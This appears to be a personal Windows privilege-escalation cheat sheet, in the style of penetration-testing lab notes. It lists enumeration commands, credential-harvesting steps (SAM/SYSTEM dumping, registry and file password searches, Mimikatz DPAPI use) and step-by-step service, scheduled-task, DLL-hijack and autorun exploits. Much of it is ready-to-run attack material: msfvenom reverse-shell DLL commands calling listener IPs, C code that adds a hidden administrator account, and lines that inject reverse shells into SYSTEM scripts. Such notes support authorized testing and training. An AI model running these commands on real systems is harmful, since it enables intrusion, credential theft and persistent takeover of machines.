- Basic Enumeration
- Privilege/Token Check
- AlwaysInstallElevated
- Logged in users/sessions
- Password policy
- Users & Groups
- Privileged groups
- Running processes
- Check which are owned by Administrator
- View History
- Powershell History
- PowerShell Transcript Files
- Interesting/Sensitive Files
- Credentials
- Internal ports
- In addition to those only on localhost, crosscheck against initial nmap scan to find things that are blocked by firewall
- Scheduled Tasks
- Services
- ModifybinPath, modify executable, DLL hihacking, unquoted service paths
- Recycle Bin
- Clipboard content
- Installed Applications
- Insecure GUI Apps
- Kernel Exploits
- Startup Apps (requires user login)
- AutoRuns (requires user login)
Several key pieces of information we should obtain:
- Environment variables
- Username and hostname
- Group memberships of the current user
- Existing users and groups
- Operating system, version and architecture
- Network information
- Installed applications
- Running processes
systeminfo- PuTTY creds
- SSH host keys
- C:\ProgramData\ssh\
- ssh_host_rsa_key, ssh_host_ecdsa_key, ssh_host_ed25519_key
- C:\ProgramData\ssh\
- Unattended.xml
- C:\Windows\Panther\Unattend\Unattended.xml
- C:\Windows\System32\Sysprep\Unattend.xml
- SAM/SYSTEM (if SeBackupPrivilege, we can
reg save)- C:\Windows\System32\Config\RegBack
- DB and logs files
- dir C:\inetpub\ /s /b
- dir C:\xampp\htdocs\ /s /b
- dir C:\wamp\www\ /s /b
- dir C:\Users\*\Documents\Projects\ /s /b
- Look for config.php, .env, settings.py, web.config
- WinLogon (look for
DefaultUsername,DefaultPassword,AutoAdminLogon) - Credentials Manager (cmdkey /list)
- Windows Vault (
vaultcmd /listandvaultcmd /listcreds:"<Vault Path>"ORGet-VaultCredentialin PowerView) - PowerShell Stored Credentials (look for
.clixmlor.xmlfiles)- Search:
Get-ChildItem -Path C:\Users\ -Recurse -Include *.clixml,*.xml -ErrorAction SilentlyContinue - Try to import and decrypt (only works as original user)
$cred = Import-Clixml -Path "C:\path\to\file.clixml"then,$cred.GetNetworkCredential()
- Search:
- RDP Connections
Get-ChildItem -Path C:\Users\ -Recurse -Include *.rdp -ErrorAction SilentlyContinuereg query "HKCU\Software\Microsoft\Terminal Server Client\Servers"reg query "HKCU\Software\Microsoft\Terminal Server Client\Default"
- For cmd.exe specifically:
doskey /history - Sticky note data (Windows 10+)
C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState- Look for
plum.sqlite, open it with any SQLite viewersqlite3 plum.sqlite
whoami /priv| Token/Privilege | Explanation |
|---|---|
SeImpersonatePrivilege |
Potato exploits (especially when compromising IIS or any other service account) |
SeDebugPrivilege |
Mimikatz |
SeAssignPrimaryPrivilege |
Similar to SeImpersonatePrivilege. Try Potato exploits |
SeBackupPrivilege |
Grants read access to all objects. Get SAM/SYSTEM by making your own readable backup of the system. |
SeRestorePrivilege |
Grants write access to all objects. Try: - Modifying service binaries - Overwriting DLLs used by SYSTEM processes - Modifying registry settings |
SeTakeOwnershipPrivilege |
Lets user take ownership over an object. Once you own an object, you can try the same methods as listed above for SeRestorePrivilege |
SeTcbPrivilege |
|
SeCreateTokenPrivilege |
|
SeLoadDriverPrivilege |
|
SeManageVolumePrivilege |
https://github.com/CsEnox/SeManageVolumeExploit |
GodPotato.exe -cmd "cmd.exe /k whoami"Note: consider adding -usevuln flag
SweetPotato.exe -p "C:\Windows\System32\cmd.exe" -a "/c whoami"
Try running SweetPotato with some CLSID that can be found online:
SweetPotato.exe -p "C:\Windows\System32\cmd.exe" -a "/c whoami" -t {F87B28F1-DA9A-4E02-9C45-BD3E31398881}
If these 2 registers are enabled (value is 0x1), then users of any privilege can install (execute) .msi files as NT AUTHORITY\SYSTEM:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedreg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedAttack with PowerSploit (adds .msi to current directory that elevates privileges):
Write-UserAddMSIGet-History:
Get-HistoryPSReadLine (a second PS history log):
(Get-PSReadlineOption).HistorySavePathtype %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txtEnumerate environment variables:
setor
Get-ChildItem Env:Useful files in user's directory:
Get-ChildItem -Path C:\Users\ -Include *.txt,*.settings,*.ini,*.log,*.kdbx,*.xml,*.config,*.doc,*.docx,*.pdf,*.xls,*.xlsx,*.ps1 -File -Recurse -ErrorAction SilentlyContinueUseful files everywhere (noisy):
Get-ChildItem -Path C:\ -Include *.kdbx,*.ini,*.txt,*.settings -File -Recurse -ErrorAction SilentlyContinueConfiguration / settings files in Program Files:
Get-ChildItem -Path "C:\Program Files (x86)" -Include *.txt,*.settings,*.ini,*.log,*.kdbx,*.xml,*.config -File -Recurse -ErrorAction SilentlyContinueGet-ChildItem -Path "C:\Program Files" -Include *.txt,*.settings,*.ini,*.log,*.kdbx,*.xml,*.config -File -Recurse -ErrorAction SilentlyContinueSearch for file containing word password (case-insensitive):
Get-ChildItem -Path C:\ -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List | Select-Object PathGet-ChildItem -Path C:\ -Include *.txt,*.config -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password" -List | Select-Object PathSome of the files below may be Base64 encoded:
c:\sysprep.inf
c:\sysprep\sysprep.xml
c:\unattend.xml
%WINDIR%\Panther\Unattend\Unattended.xml
%WINDIR%\Panther\Unattended.xml
dir c:\*vnc.ini /s /b
dir c:\*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
Use the Mimikatz dpapi::rdg module with appropriate /masterkey to decrypt any .rdg files. You can extract many DPAPI masterkeys from memory with the Mimikatz sekurlsa::dpapi module
If PuTTY is present:
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
- Must be Backup Operator or Domain Admin to leverage
vssadmin list shadowsWindows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"Cached creds:
cmdkey /listSAM & SYSTEM can be found in C:\Windows\System32\config
Check SAM & SYSTEM readable:
(Get-Acl "C:\Windows\System32\config\SAM").AccessDump SAM + SYSTEM:
impacket-secretsdump -sam SAM -system SYSTEM LOCALSearch registry for "password":
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sRecursively search for files in the current directory that contain the word password and also end in either .xml, .ini, or .txt:
findstr /si password *.xml *.ini *.txt
Note the single quotes:
Get-ChildItem -Path 'C:\$Recycle.Bin' -ForceRecover files:
Copy-Item -Path 'C:\$Recycle.Bin\<SID>\<filename>' -Destination "C:\RecoveredFiles\"Remember you will not be able to see higher privileged Scheduled Tasks
- AutoRuns
- List all scheduled tasks your user can see:
Get-ScheduledTask | where {$_.TaskPath -notLike "\Microsoft*"} | ft TaskName,TaskPath,Stateschtasks /query /fo LIST /v- For example, we find a PowerShell
.ps1script that is being run every minute as the SYSTEM user- We can check our privileges on this script with
icaclsoraccesschk.exeaccesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1- It appears we have the ability to write to this file
- We can check our privileges on this script with
- Backup the script
2)
copy C:\DevTools\CleanUp.ps1 C:\Temp\ - Start a listener
- Use
echoto append a call to our reverse shell executable to the end of the scriptecho C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
- Wait for the scheduled task to run to complete the exploit
If services as running with SYSTEM privileges, we may be able to exploit them
- Goated (finds unquoted paths):
wmic service get name,pathname | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """- Check service auto-start on reboot:
Get-CimInstance -ClassName win32_service | Select Name, StartMode | Where-Object {$_.StartMode -like 'Auto'}- Query the configuration of a service:
sc.exe qc <name>
- Query the current status of a service:
sc.exe query <name>
- Modify a configuration option of a service:
sc.exe config <name> <option>= <value>
- Start/Stop a service:
net start/stop <name>
- Insecure Service Properties
- Unquoted Service Path
- Weak Registry Permissions
- Insecure Service Executables
- DLL Hijacking
Each service has an ACL which defines certain service-specific permissions. Some permissions are innocuous (e.g., SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Some may be useful (e.g., SERVICE_STOP, SERVICE_START). Some are dangerous (e.g., SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS)
If our user has permissions to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own.
Potential Rabbit Hole: If you can change a service configuration but cannot start/stop the service, you may not be able to escalate privileges!
- Run winPEAS to check for service misconfigurations:
.\winPEASany.exe quiet servicesinfo
- Note that we can modify the
daclsvcservice - We can confirm this with
accesschk.exeoricacls:.\accesschk.exe /accepteula -uwcqv user daclsvc
- Check the current configuration of the service:
2)
sc.exe qc daclsvc - Check the current status of the service:
sc.exe query daclsvc
- Reconfigure the service to use our reverse shell executable:
2)
sc.exe config daclsvc binpath="\"C:\PrivEsc\reverse.exe\"" - Start a listener, and then start the service to trigger the exploit:
net start daclsvc
Executables in Windows can be run without using their extension (e.g., whoami.exe can be run by just typing whoami). Some executables take arguments, separated by spaces, e.g., someprog.exe arg1 arg2 arg3.... This behavior leads to ambiguity when using absolute paths that are unquoted and contain spaces.
Consider the following unquoted path: C:\Program Files\Some Dir\SomeProgram.exe
To us, this obviously runs SomeProgram.exe. To Windows, C:\Program could be the executable, with two arguments: Files\Some and Dir\SomeProgram.exe
If we can write to a location Windows checks before the actual executable, we can trick the service into executing it instead.
- Run winPEAS to check for service misconfigurations:
.\winPEASany.exe quiet servicesinfoManual (goated):
wmic service get name,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """- Note that the unquotedsvc service has an unquoted path that also contains spaces:
C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe - Confirm this:
sc qc unquotedsvc - Use
accesschk.exeoricaclsto check for write permissions:icacls "C:\"icacls "C:\Program Files\"icacls "C:\Program Files\Unquoted Path Service\"
- Copy the reverse shell executable and rename it appropriately:
copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
- Start listener, then start the service to trigger the exploit:
2)
net start unquotedsvc
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a service's configuration even if we cannot modify the service directly.
- Run winPEAS to check for service misconfigurations:
.\winPEASany.exe quiet servicesinfo
- Note that the
regsvcservice has a weak registry entry. We can confirm this with PowerShell: 2)Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List3) Alternatively.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc - Overwrite the
ImagePathregistry key to point to our reverse shell executable:reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
- Start a listener, then start the service to trigger the exploit:
2)
net start regsvc
If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable. Remember to create a backup of the original executable.
- Run winPEAS to check for service misconfigurations:
.\winPEASany.exe quiet servicesinfo
- Note that the
filepermsvcservice has an executable which appears to be writable by everyone. We can confirm this withaccesschk.exeoricacls: 2)icacls "C:\Program Files\File Permissions Service\filepermservice.exe"3).\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" - Create a backup of the original service executable:
copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp
- Copy the reverse shell executable to overwrite the service executable:
2)
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"1) Note:/Ysuppresses prompting to confirm that you want to overwrite an existing destination file - Start a listener, then start the service to trigger the exploit:
net start filepermsvc
Often a service will try to load DLL. If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.
A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLLs in.
Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual. (ProcMon.exe)
Run string64.exe from Sysinternals to check if any DLL references are apparent.
- Use
Get-ModifiableServiceFilefrom PowerUp.ps1 - Use WinPEAS to enumerate non-Windows services:
.\winPEASany.exe quiet servicesinfo
- Note that the
C:\Tempdirectory is writable and in the PATH. Start by enumerating which of these services our user has stop and start access to: 2).\accesschk.exe /accepteula -uvqc user dllsvc - The
dllsvcservice is vulnerable to DLL Hijacking. According to the WinPEAS output, the service runs thedllhijackservice.exeexecutable. We can confirm this manually:sc.exe qc dllsvc
- Run
Procmon64.exewith administrator privileges. Press CTRL+L to open the Filter menu - Add a new filter on the Process Name matching
dllhijackservice.exe - Add a new filter on the Operation so it is CreateFile
- This will show all files (including DLLs) that the program opens
- On the main screen, deselect registry activity and network activity
- Start the service
net start dllsvc
- Back in Procmon, observe any "NAME NOT FOUND" errors, associated with the missing DLL
- At some point, Windows tries to find the file in the
C:\Tempdirectory, which as we found earlier, is writable by our user - On Kali, generate a reverse shell DLL named
hijackme.dll:msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.50.111 LPORT=443 -f dll -o hijackme.dll- Alternatively, can use `adduser.c below
- Copy the DLL to the Windows VM and into the
C:\Tempdirectory. Start a listener, then stop/start the service to trigger the exploit: 2)net stop dllsvc3)net start dllsvc
DLL code:
#include <stdlib.h>
#include <windows.h>
BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
switch ( ul_reason_for_call )
{
case DLL_PROCESS_ATTACH: // A process is loading the DLL.
int i;
i = system ("net user dave3 password123! /add");
i = system ("net localgroup administrators dave3 /add");
break;
case DLL_THREAD_ATTACH: // A process is creating a new thread.
break;
case DLL_THREAD_DETACH: // A thread exits normally.
break;
case DLL_PROCESS_DETACH: // A process unloads the DLL.
break;
}
return TRUE;
}Then, compile with:
x86_64-w64-mingw32-gcc TextShaping.cpp --shared -o TextShaping.dllOr simply,
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.196 LPORT=53 -f dll -o winRev53.dlladduser.c:
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user dave2 password123! /add");
# Domain user example below
# i = system ("net localgroup Administrators \"MEDTECH\\Wario\" /add");
i = system ("net localgroup administrators dave2 /add");
return 0;
}Cross-compile the C code above to a 64-bit application:
x86_64-w64-mingw32-gcc adduser.c -o adduser.exeStandard DLL search order on current Windows versions:
- The directory from which the application loaded.
- The system directory.
- The 16-bit system directory.
- The Windows directory.
- The current directory.
- The directories that are listed in the PATH environment variable.
Windows first searches the application's directory. Interestingly, the current directory is at position 5. When safe DLL search mode is disabled, the current directory is searched at position 2 after the application's directory.
Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalation results from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.
- Manually enumerate all running programs:
tasklist /v
- We can also use Seatbelt to search for nonstandard processes:
.\seatbelt.exe NonstandardProcesses
- winPEAS also has this ability (note the misspelling):
winPEASany.exe quiet procesinfo
Once you find an interesting process, try to identify its version. You can try running the executable with /? or -h, as well as checking config or text files in the "Program Files" directory. Use Exploit-DB to search for a corresponding exploit. Some exploits contain instructions, while others are code that you will need to compile and run.
On some (older) versions of Windows, users could be granted the permission to run certain GUI apps with administrator privileges. There are often numerous ways to spawn command prompts from within GUI apps, including using native Windows functionality. Since the parent process is running with administrator privileges, the spawned command prompt will also run with these privileges. I call this the "Citrix Method" because it uses many of the same techniques used to break out of Citrix environments.
- For example, Log into the Windows VM using the GUI with the
useraccount - For example, Double-click on the
AdminPaintshortcut on the Desktop - Open a command prompt and run:
tasklist /V | findstr mspaint.exe- Note that
mspaint.exeis running with admin privileges
- In Paint, click "File", then "Open"
- In the navigation input, replace the contents with:
file://c:/windows/system32/cmd.exe
- Press "Enter", a command prompt should open running with admin privileges
systeminfoIdentify the hotfixes/patches:
wmic qfe get Caption,Description,HotFixID,InstalledOnIf we have an exploit written in Python but we don't have Python installed on victim, it can be transformed into binary with
pyinstaller --onefile --noconsole exploit.py(Try with and without--noconsole)
wes-ngWindows exploit suggester- Precompiled exploits https://github.com/SecWiki/windows-kernel-exploits
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"Check if writable:
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.
Note that the shortcut files .lnk must be used. The following VBScript can be used to create a shortcut file:
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start
Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save- Use
icaclsoraccesschk.exeto check permissions on the StartUp directory:.\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
- For example, Note that the
BUILTIN\Usersgroup has write access to this directory. - Create a file
CreateShortcut.vbswith the VBScript provided in a previous slide. Change file paths if necessary. - Run the script (on Windows) using
cscript:cscript CreateShortcut.vbs
- Start a listener on Kali, then log in as the admin user to trigger the exploit
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run- Use winPEAS to check for writable AutoRun executables:
.\winPEASany.exe quiet applicationsinfo- Or use
AutoRuns64.exe
- Alternatively, we could manually enumerate the AutoRun executables:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run- and then use
accesschk.exeoricaclsto verify the permissions on each one:icacls "C:\Program Files\Autorun Program\program.exe".\accesschk.exe -accepteula -wvu "C:\Program Files\Autorun Programs\program.exe
- and then use
- The
C:\Program Files\Autorun Program\program.exeAutoRun executable is writable byEveryone. Create a backup of the original:copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
- Copy our reverse shell executable to overwrite the AutoRun executable:
2)
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" - Start a listener, and then restart the Windows VM to trigger the exploit. Note that on Windows 10, the exploit appears to run with the privileges of the last logged on user, so log out of the
useraccount and log in as theadminaccount first.